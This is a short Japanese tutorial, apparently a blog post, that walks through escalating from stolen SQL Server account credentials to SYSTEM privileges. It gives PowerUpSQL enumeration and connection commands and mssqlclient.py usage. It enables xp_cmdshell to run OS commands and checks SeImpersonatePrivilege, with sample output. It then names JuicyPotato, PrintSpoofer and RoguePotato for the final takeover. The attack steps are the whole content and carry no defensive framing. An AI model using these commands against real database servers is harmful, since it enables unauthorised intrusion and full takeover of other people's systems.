SQLデータベースアカウントの認証情報を取得した場合、ほとんどのケースでsystem権限レベルまで権限昇格することが可能です。以下はSQLサーバの列挙から権限昇格までの流れを1つのモデルケースを参考にしたものです。
SQLサーバの列挙
$powershell
$Import-Module .\PowerUpSQL.ps1
$Get-SQLInstanceDomain
SQLサーバに接続(powershell)wihdows
$Get-SQLQuery -Verbose -Instance "対象IPアドレス,ポート番号" -username "example.com\username" -password "password" -query 'Select @@version'
※赤文字部分はご自身の環境に合わせて変更してください。
※Select @@versionは取得した情報に合わせて変更してください。
SQLサーバに接続(mssqlclient.py)linux
mssqlclient.py example.com/username@対象IPアドレス -windows-auth
※赤文字部分はご自身の環境に合わせて変更してください。
※コマンド実行後は対象アカウントのパスワードを要求されます。
enable_xp_cmdshellを有効にしてデータベース経由でOSコマンドが実行できるようにする
SQL> enable_xp_cmdshell
[*] INFO(example\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
[*] INFO(example\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
xp_cmdshellを使用してアカウントがSeImpersonatePrivilege の権限をもっているか調べる
xp_cmdshell whoami /priv
output
--------------------------------------------------------------------------------
NULL
PRIVILEGES INFORMATION
----------------------
NULL
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
(後略)
あとはJuicyPotato、PrintSpoofer、RoguePotato などのツールを使用することでsystem権限を奪取できます。
コメント